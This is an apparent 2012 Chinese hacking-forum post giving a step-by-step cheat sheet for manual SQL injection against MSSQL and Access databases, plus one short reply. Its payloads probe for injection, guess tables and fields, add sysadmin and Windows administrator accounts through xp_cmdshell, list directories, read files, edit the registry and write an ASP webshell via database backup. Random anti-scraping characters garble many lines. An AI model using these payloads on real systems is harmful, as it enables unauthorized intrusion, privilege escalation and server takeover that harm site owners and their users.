找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2274|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 , Q: Z+ A* w1 A0 @+ u
1.判断是否有注入;and 1=1 ;and 1=2
! }% P; P" \7 ]7 d8 |3 T
8 x9 O7 T( l1 C$ T" y- R2.初步判断是否是mssql ;and user>0
  D4 n6 ?! x) |0 p/ y$ i# n
) L" C8 L- M# G% @1 C9 E- F3.注入参数是字符'and [查询条件] and ''='
( X0 E3 h2 [" v. N
& h4 ~2 Z" u9 W- V; L' C4.搜索时没过滤参数的'and [查询条件] and '%25'='   c1 z3 ]1 D/ c' t9 k& Y

2 |& \* I. L( I5.判断数据库系统 $ C7 y$ N% S& C* Q! `# s4 [: k1 L
;and (select count(*) from sysobjects)>0 mssql
5 k' u' [: S5 A9 \& ?1 ?;and (select count(*) from msysobjects)>0 access , w6 E9 Z3 b3 D* s3 v

0 Z/ E' o6 X' G% r6.猜数据库 ;and (select Count(*) from [数据库名])>0
9 C: E" k3 m8 O- p
+ ], h  x3 T7 M- g+ i7 |  G7 ]7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% d4 F" v; K/ K; F5 k2 g1 o8 k2 r$ a( O
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 : I4 b3 [# k3 U& g0 D5 f$ i9 Y) v

% w8 A; F; G! x8 q5 `: a6 D, P9.(1)猜字段的ascii值(access) 1 g  R+ W/ A* h$ _( u& B) ?
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
& w+ F( P: x0 Z$ t5 ]# f
  D) P; N6 ~/ F& s- j7 J(2)猜字段的ascii值(mssql) , _; o5 w6 o: i6 i; T3 R
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
. \5 p" y0 q0 D- I3 y. g* E8 U/ M% H- P- O% X7 ~/ |
10.测试权限结构(mssql)
7 g( n6 w/ K1 i5 \) p;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! g( z: [$ [3 ~4 |4 A' o; \;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ I" `; B5 A4 d;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
  [3 ^; @# S. n7 b4 h. O3 K;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- w5 ~$ S' B, V0 {8 o1 O;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 h% C0 _1 m& j" x
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
* h" O' }  z1 ^& H7 R3 h;and 1=(select IS_MEMBER('db_owner'));-- : N' T4 @7 @9 f) P8 ?

2 E6 p7 z9 G' y7 i$ z11.添加mssql和系统的帐户 * T6 c4 o, r5 v! f
;exec master.dbo.sp_addlogin username;-- % I4 F. W$ n  a. y
8 i/ m. l( ^6 }3 X& d
;exec master.dbo.sp_password null,username,password;--
2 g) m' e; X, L; s0 B( M" t% t2 W1 ^. y' ~* j: K: a
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ; r! g/ {8 M" x; T1 V+ B8 @

5 z& A5 `+ F, z4 L;exec master.dbo.xp_cmdshell 'net user username password
* E* @2 h- b$ u- n2 f/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 j0 s! ]/ R$ ?9 j& ]
# j; ^4 b3 V, }% F
;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 ]3 E4 ^% x2 a+ @
4 j/ x  h8 V3 `+ O/ P8 v  _3 B. N1 @;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" C5 r; @* ?- Z' \9 Q
6 I5 u/ R! `0 E, ~  Z6 t  Z- x2 o12.(1)遍历目录
4 x5 B4 r9 ]6 H8 k  b3 x4 g, E+ l
3 L1 ]/ {$ }8 ^2 P;create table dirs(paths varchar(100), id int)
" C: k, q; f# p- ?% X;insert dirs exec master.dbo.xp_dirtree 'c:\'
2 L& g8 F+ l& O; U- r, L;and (select top 1 paths from dirs)>0
- P+ x* S  F) x/ {$ h, ];and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
+ q" \: L% {% b6 T5 ^5 {2 t: ^( p8 w) h9 V9 Q$ }" A, q/ b
(2)遍历目录 5 K( B; T4 w/ }( r- ]" _1 ^: i( I
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7 q3 P& f. D# _5 d( _& t% r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
4 t2 T, t) X8 I, a;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
+ b; a' c( P- y! m! v;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 % V( ?- h0 r$ t2 f- p8 M' i' s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " e1 k6 S. B( U8 H7 p7 z$ R- P

7 o4 b% x% Q3 |$ V+ s' n13.mssql中的存储过程 9 m# [. W, `3 s4 y; ?6 v
& L  e: G9 P8 d# u% b5 ^2 n
xp_regenumvalues 注册表根键, 子键
1 j5 p8 t/ d0 O; E+ q;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ! @: G7 @- U: d
  f" L- I1 E0 e9 Q
xp_regread 根键,子键,键值名
, s( i- @* N7 v4 G4 o- D;exec xp_regread 9 x/ d4 L5 V0 |! I( X$ ^
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 " J( F; r  ]$ D* a

- _4 P) m1 p) V/ s5 X/ ^xp_regwrite 根键,子键, 值名, 值类型, 值 * O, z  Y) j% T5 @/ L: v4 }) y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 # y& r/ W: [* n4 N, `' J
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 & j$ Q- [* J9 }( k5 D* a

9 u$ S6 X9 M5 r6 {( P* {xp_regdeletevalue 根键,子键,值名 % ]4 v* i7 [$ B' m
/ R! \# b" r" m. s7 y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
! g% ^1 h4 i1 S9 S( ~$ @5 z& ~. o$ w" t9 M
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
1 b- F  l3 M5 ]( y& b% Q% A' y
7 t4 M' c" }1 M: `9 X14.mssql的backup创建webshell , t; F6 L& J1 E! E; d- d
use model 9 p& ^- E9 M3 U: x
create table cmd(str image); " O  `' t/ H( }! P7 Q7 v
insert into cmd(str) values (''); ; x% }- E' t7 D/ y) D  d
backup database model to disk='c:\l.asp'; ) r5 ~: E& T( V% D0 k% O+ b' e
/ |; E6 ]; a* G+ e
15.mssql内置函数 ) p& h: m- ~+ c
;and (select @@version)>0 获得Windows的版本号
9 P5 @/ V. P" w; X: B4 c2 p- e4 J;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 L4 F. r5 s- T
;and (select user_name())>0 爆当前系统的连接用户 0 Y# [% G; q* v! V
;and (select db_name())>0 得到当前连接的数据库 & f9 N7 g' R8 W. E
4 Y/ H, e0 ~/ m* N
16.简洁的webshell 9 {' Y/ A+ h4 U' [& n* W
/ Z. M. O: h( |) }; z  `  N
use model
# _& |- a& h$ z6 s
. m1 y* }2 Q- i! k& Qcreate table cmd(str image); 2 J* {& p7 i  h9 P

' [% U, f$ i2 T& N! e* u3 h7 Uinsert into cmd(str) values (''); # r5 i* D. C: W* N6 z( }; ~
& l1 ^: g" O: Y/ c! {* w" D
backup database model to disk='g:\wwwtest\l.asp';
# X; ~. I  P5 |7 y* a! S
! s' K, q- L9 t5 ]
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表